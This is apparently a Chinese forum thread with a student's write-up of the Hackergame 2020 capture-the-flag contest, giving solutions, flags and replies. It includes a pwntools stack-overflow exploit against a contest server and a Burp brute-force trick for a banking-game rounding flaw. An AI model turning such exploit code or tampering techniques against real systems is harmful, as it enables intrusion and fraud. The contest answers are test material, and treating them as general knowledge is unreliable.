<progress id="yueoz"><code id="yueoz"><xmp id="yueoz">

      1. 吾愛破解 - LCG - LSG |安卓破解|病毒分析|www.13ee.cn

         找回密碼
         注冊[Register]

        QQ登錄

        只需一步,快速開始

        搜索
        查看: 4643|回復: 112
        上一主題 下一主題

        [CTF] Hackergame 2020 部分題目WP

          [復制鏈接]
        跳轉到指定樓層
        樓主
        yemeinanhai 發表于 2020-11-11 20:04 回帖獎勵
        本帖最后由 yemeinanhai 于 2020-11-12 01:45 編輯

        新人初來乍到,就分享一下最近打的Hackergame,要是在別的平臺發現有相同的文章,請不要在意,那也是我發的,廣撒網嘛~

        Writeup

        第一篇博客,寫的不好請見諒~
        作為一個剛接觸CTF2個多月的大一萌新,感覺Hackergame的題目還是相當友好和好玩的,不像之前打的西湖論劍和N1CTF,除了簽到,問卷啥也不會(>_<),真的直接打自閉~
        盡管這周打的很艱難,畢竟學生黨要上課...但最后的成績自己還是比較滿意的:
        1.搶到了一道一血:一閃而過的flag
        2.總分:1950 總排名:147(比賽剛開始    占據了第一名5分鐘,巔峰時打到第87名,然后就開始往下掉了QAQ~)

        由于部分flag為動態flag,僅供參考

        題目網站:https://hack.lug.ustc.edu.cn/

        簽到

        11:55準時坐在電腦前準備搶flag,11:59:55秒刷新一下,然后開始搶簽到(嗯,萌新就是這樣搶一血的)
        進去條隨便拖了兩下點提交,發現url后多了?number=0.08459,然后腦子一抽,改成了1.0,痛失一血,嗚嗚
        改成1得到flag:flag{hR6Ku81-HappyHacking2020-b13786f61b}

        貓咪問答++

        q1的話,google圖片全部搜一遍,然后一不小心搜成13個....(答案12個)
        q2的話,直接百度發現RFC1149協議,再查看這個協議得到答案:256
        q3的話,去翻協會新聞推文,發現介紹的開源游戲名為Teeworlds,所以答案為9
        q4的話,百度地圖搜索中國科學技術大學西校區圖書館,街景數車位得知答案為9
        q5的話,之前翻看Hackgame比賽首頁底下相關鏈接里的第六屆新聞稿里見過提交次數,所以打開看了眼,得到答案為17098
        最后把不確定的q1上下調整一下,得到flag:flag{b4a31f2a_G00G1e_1s_y0ur_fr13nd_a3bf4c8dc9}

        2048

        F12查看js代碼,發現大成功后執行如下代碼:

          var url;
          if (won) {
            url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
          } else {
            url = "/getflxg?my_favorite_fruit=";
          }

        從baaa可猜測出題人最喜歡的水果是banana(嗯?)
        然后直接在url后加上/getflxg?my_favorite_fruit=banana得到flxg:flxg{8G6so5g-FLXG-9a0c684641}

        一閃而過的 Flag

        做完簽到,沒搶到一血,極其郁悶,掃了眼題目列表。一閃而過的 Flag難道是扔到命令行里防閃退??好,就你了。
        然后如預期一般,得到flag:flag{Are_you_eyes1ght_g00D?_can_you_dIst1nguish_1iI?}
        提交一看,一血。!靠著第一個拿到150分,居然占據了第一名5分鐘,嘻嘻。

        從零開始的記賬工具人

        這題用了一種很草的解法。
        百度全是數字轉中文金額,好不容易發現方方格子Excel插件中有函數可以將中文金額轉為數字
        然后最坑的地方出現了,這函數有bug。!像拾肆元之類的,”拾“開頭的統統轉換錯誤
        大一萌新不會復雜腳本呀,那就在這基礎上湊合著弄個修bug的腳本吧
        百度現場學python處理Excel的庫,經過無數次調試,終于成功了!
        腳本如下,大佬輕噴,寫的真的爛

        # coding=gbk
        import xlrd
        import xlwt
        workbook=xlrd.open_workbook('bills.xlsx')
        Excel = xlwt.Workbook()
        sheet = Excel.add_sheet('B')
        sheet1=workbook.sheet_by_name('Sheet1')
        ncols=sheet1.nrows
        for i in range(1,ncols):
            if ((sheet1.cell(i,0).value)[0:1]) == '拾':
                if (sheet1.cell(i,0).value)[0:2] == '拾元':
                    sum ='10.'
                    for j in (sheet1.cell(i,0).value)[2::]:
                        if j == '零':
                            sum = sum + '0'
                        elif j == '壹':
                            sum = sum + '1'
                        elif j == '貳':
                            sum = sum + '2'
                        elif j == '叁':
                            sum = sum + '3'
                        elif j == '肆':
                            sum = sum + '4'
                        elif j == '伍':
                            sum = sum + '5'
                        elif j == '陸':
                            sum = sum + '6'
                        elif j == '柒':
                            sum = sum + '7'
                        elif j == '捌':
                            sum = sum + '8'
                        elif j == '玖':
                            sum = sum + '9'
                else:
                    sum ='1'
                    for j in (sheet1.cell(i,0).value)[1::]:
                        if j == '零':
                            sum = sum + '0'
                        elif j == '壹':
                            sum = sum + '1'
                        elif j == '貳':
                            sum = sum + '2'
                        elif j == '叁':
                            sum = sum + '3'
                        elif j == '肆':
                            sum = sum + '4'
                        elif j == '伍':
                            sum = sum + '5'
                        elif j == '陸':
                            sum = sum + '6'
                        elif j == '柒':
                            sum = sum + '7'
                        elif j == '捌':
                            sum = sum + '8'
                        elif j == '玖':
                            sum = sum + '9'
                        elif j == '元':
                            sum =sum + '.'
                sheet.write(i,0,float(sum))
            else:
                sheet.write(i,0,sheet1.cell(i,2).value)
        Excel.save('Excel.xls')

        下面是經或或爺點撥修改后的版本:把python的字典忘了,我是憨憨

        # coding=gbk
        import xlrd
        import xlwt
        workbook=xlrd.open_workbook('bills.xlsx')
        Excel = xlwt.Workbook()
        sheet = Excel.add_sheet('B')
        sheet1=workbook.sheet_by_name('Sheet1')
        d = {'零':'0','壹':'1','貳':'2','叁':'3','肆':'4','伍':'5','陸':'6','柒':'7','捌':'8','玖':'9','元':'.','角':'','分':''}
        ncols=sheet1.nrows
        for i in range(1,ncols):
            if ((sheet1.cell(i,0).value)[0:1]) == '拾':
                if (sheet1.cell(i,0).value)[0:2] == '拾元':
                    sum ='10.'
                    for j in (sheet1.cell(i,0).value)[2::]:
                        sum += d[j]
                else:
                    sum ='1'
                    for j in (sheet1.cell(i,0).value)[1::]:
                        sum += d[j]
                sheet.write(i,0,float(sum))
            else:
                sheet.write(i,0,sheet1.cell(i,2).value)
        Excel.save('Excel.xls')

        把數量復制到Excel.xls中,簡單的相乘求和得到flag:flag{18434.82}

        超簡單的世界模擬器

        蝴蝶效應

        百度可知生命游戲,lifewiki上找到太空船模型解決,得到flag:flag{D0_Y0U_l1k3_g4me_0f_l1fe?_a8e066dfae}

        一石二鳥

        3艘太空船亂湊,湊出第二問flag:flag{1s_th3_e55ence_0f_0ur_un1ver5e_ju5t_c0mputat1on?_5dd028665b}
        具體怎么輸入就不掛了,看官方WP吧~

        自復讀的復讀機

        反向復讀

        百度得知輸出代碼本身的代碼有一個專有名稱quine。之后找到一個題庫網站,有各種quine,隨便找一個修改一下
        因為要逆向輸出代碼本身,于是加上[::-1],然后發現末尾多了\n,所以再加上end="",代碼如下:

        s = 's = {};print(s.format(repr(s))[::-1],end="")';print(s.format(repr(s))[::-1],end="")

        得到flag:flag{Yes!_Y0U_h4v3_a_r3v3rs3d_Qu1ne_e604f5f9a5}

        哈希復讀

        因為要輸出代碼本身的sha256哈希值,導入hashlib庫,調用sha256函數,構造代碼如下:

        s = 's = {};import hashlib;print((hashlib.sha256((s.format(repr(s))).encode()).hexdigest()),end="")';import hashlib;print((hashlib.sha256((s.format(repr(s))).encode()).hexdigest()),end="")

        得到flag:flag{W0W_Y0Ur_c0de_0utputs_1ts_0wn_sha256_893e58accc}

        233 同學的字符串工具

        字符串大寫工具

        有個網站(要掛梯子)上有各種unicode碰撞,找到一個連字,反正輸進去解出來就是FL,俺也不知道為啥~,后面加上ag即可。
        輸入得到flag:flag{badunic0debadbad_6173b2b915}

        編碼轉換工具

        對同一個字符串,經過utf-7編碼后有多種形式。
        百度發現一個utf-7編碼解碼軟件,輸入flag后編碼得到+AGYAbABhAGc-
        輸入得到flag:flag{please_visit_www.utf8everywhere.org_799d706f62}

        233 同學的 Docker

        換源安裝好docker,然后我為了防止docker下載鏡像太慢,弄了個阿里云docker鏡像加速
        然后打開題目網址,復制指令docker pull 8b8d3c8324c7/stringtool,下載鏡像
        用指令docker history (加上pull后得到的image ID)查看歷史構建信息
        發現flag.txt在倒數第二層被刪除,所以只要回到倒數第三層,即可得到flag.txt
        輸入docker inspect (加上pull后得到的image ID),data里找到倒數第三層(WorkDir為倒數第一層,UpperDir為倒數第二層,LowerDir里第一個為倒數第三層,后面依次推)
        然后用指令tree /var/lib/docker/overlay2/16befb58ffd365c567f04e8c6e85e1598855c8da8dc733a2b84de6dfe6fb0ae5/diff,列出目錄下所有文件
        發現flag.txt在code目錄下,cat得到flag:flag{Docker_Layers!=PS_Layers_hhh}

        來自一教的圖片

        根據題目提示傅里葉,百度找到python傅里葉變換腳本如下:

        import numpy as np
        import cv2 as cv
        from matplotlib import pyplot as plt
        img = cv.imread('1.bmp', 0)
        f = np.fft.fft2(img)
        logf = 20*np.log(np.abs(f))
        plt.imshow(logf, 'gray')
        plt.show()

        運行得到flag:flag{Fxurier_xptics_is_fun}

        生活在博弈樹上

        始終熱愛大地

        嗯,浙江的大一新生看到這題目,立馬想到了那篇高考滿分作文《生活在樹上》
        由于剛開始以為這題是General,然后代碼看了半天,還去查了算法,只明白了一件事,正常下是不可能贏的...
        然后發現存在gets,可以棧溢出,而判斷勝利的條件為success=True,所以直接棧溢出覆蓋success的值為1
        正當我想吐槽general考察pwn時,回去一看發現他其實是binary分區,可惡呢
        編寫exp如下:

        from pwn import *
        p=remote("202.38.93.111",10141)
        token='611:MEQCIBgsOHGKWe37yMSb/9ciPbOzYahxQWPaPGOZo3/KXSoVAiAYQEnr2h2cg9aISewpj8NlguUQ7lUrPFna4KDGL2fyOQ=='
        p.recv()
        p.sendline(token)
        p.recv()
        payload='(1,1)'+b'A'*143+p64(1)
        p.sendline(payload)
        p.interactive()

        然后正常下棋,使平局,不然check函數會將success賦值為false,結束后得到flag:flag{easy_gamE_but_can_u_get_my_shel1}

        升上天空

        嗚嗚,pwn太難了,做不來QAQ,看官方WP吧

        狗狗銀行

        這題想了好久沒思路,然后翻了翻前兩年的WP,試了試貓貓銀行的溢出,用信用卡給儲蓄卡轉大額資金
        發現凈資產變多了!然后抓包改數據,凈資產直接突破2000,但是并沒有flag
        本以為是沒有把錢還清造成的,然后還完發現凈資產又回到了1000,再加上服務器瘋狂崩潰,就卡住了
        第二題官方更新了公告,被告知轉大額資金導致的凈資產增加是前端浮點型計算導致的,后端采用大整數精確計算
        突然眼前一亮,既然是大整數,那就試試四舍五入,發現儲蓄卡中有167元時利息為1元
        略加計算可知,2張信用卡每張給儲蓄卡轉2009元,再將這4008元分配給24張儲蓄卡,可以得到24元的利息,4018-4008剩下的錢正好吃飯,信用卡利息減10元,則可以白嫖到14元。
        所以采用bp抓包爆破大量辦卡,通過更改payload繼續爆破進行辦卡轉錢操作,然后恰幾天飯收利息即可到達2000元,得到flag:flag{W0W.So.R1ch.Much.Smart.52f2d579}

        哎,肝了7天就做出來這么點題,還是太菜了,慢慢學吧~

        官方WP傳送門

        免費評分

        參與人數 32威望 +2 吾愛幣 +125 熱心值 +28 收起 理由
        靜葉流云 + 1 + 1 謝謝@Thanks!
        fei8255 + 1 + 1 謝謝@Thanks!
        pandypax + 1 + 1 熱心回復!
        SjZj + 1 + 1 用心討論,共獲提升!
        劣酒先生 + 1 + 1 謝謝@Thanks!
        r00t8 + 1 + 1 學習了,繼續努力
        dnldnl + 1 + 1 謝謝@Thanks!
        dearyan + 1 + 1 我很贊同!
        QGZZ + 1 + 1 熱心回復!
        yuemo520 + 1 + 1 謝謝@Thanks!
        BayanStudio + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
        Joshuaastray + 1 + 1 熱心回復!
        smile-kinging + 1 謝謝@Thanks!
        azcolf + 1 + 1 用心討論,共獲提升!
        ddwing + 1 我很贊同!
        活到lao學到lao + 1 + 1 謝謝@Thanks!
        笛墨蕭 + 1 + 1 我很贊同!
        Ninecr + 1 用心討論,共獲提升!
        Poppy_i + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
        cjcmxc + 1 熱心回復!
        開水燙青蛙 + 1 + 1 熱心回復!
        Kermond + 1 鼓勵轉貼優秀軟件安全工具和文檔!
        miranda0131 + 1 + 1 用心討論,共獲提升!
        poisonbcat + 1 + 1 謝謝@Thanks!
        fengbolee + 1 + 1 用心討論,共獲提升!
        shadowmjk + 1 用心討論,共獲提升!
        牢記自己是菜 + 1 用心討論,共獲提升!
        咸魚。 + 1 我很贊同!
        Poner + 2 + 100 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
        多喝咖啡 + 1 + 1 熱心回復!
        XS30 + 1 用心討論,共獲提升!
        netspirit + 1 每次開放注冊就會有一堆大佬....

        查看全部評分

        發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

        推薦
        netspirit 發表于 2020-11-12 07:22
        我發現每次開放注冊一段時間以后 如果發帖的是剛注冊的 一般有很大幾率是個大佬

        免費評分

        參與人數 1吾愛幣 +1 熱心值 +1 收起 理由
        曹大哥丶 + 1 + 1 我很贊同!

        查看全部評分

        推薦
        Moecury 發表于 2020-11-12 07:19
        同參賽選手表示·茲磁
        順帶一提,2048那題在瀏覽器控制臺可以直接運行代碼
        [JavaScript] 純文本查看 復制代碼
        "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();

        得到正確的url:/getflxg?my_favorite_fruit=banana
        4#
        yuchunlnog 發表于 2020-11-12 04:38
        我去,你這簡直是人才啊。我看了半天,大部分能看懂,但是思路跟不上了,反正讓我想是想不出的。我感覺自己廢了。
        5#
        大俠在路上 發表于 2020-11-12 07:38
        感謝樓主分享,這個題目我感覺我是廢了。
        6#
        nonamer 發表于 2020-11-12 09:06
        這個厲害~太可怕了
        7#
        niexx 發表于 2020-11-12 09:07
        學習正需要這個
        8#
        wsyalh 發表于 2020-11-12 09:18
        學習正需要這個   
        9#
        huangxiaolin520 發表于 2020-11-12 09:24

        學習中需要這個   
        10#
        npfjcg 發表于 2020-11-12 10:10
        學習一下,今年USTC的Hackergame還是一如既往的強
        您需要登錄后才可以回帖 登錄 | 注冊[Register]

        本版積分規則 警告:本版塊禁止灌水或回復與主題無關內容,違者重罰!

        快速回復 收藏帖子 返回列表 搜索

        RSS訂閱|小黑屋|處罰記錄|聯系我們|吾愛破解 - LCG - LSG ( 京ICP備16042023號 | 京公網安備 11010502030087號 )

        GMT+8, 2020-11-25 02:02

        Powered by Discuz!

        Copyright © 2001-2020, Tencent Cloud.

        快速回復 返回頂部 返回列表
        快三开奖结果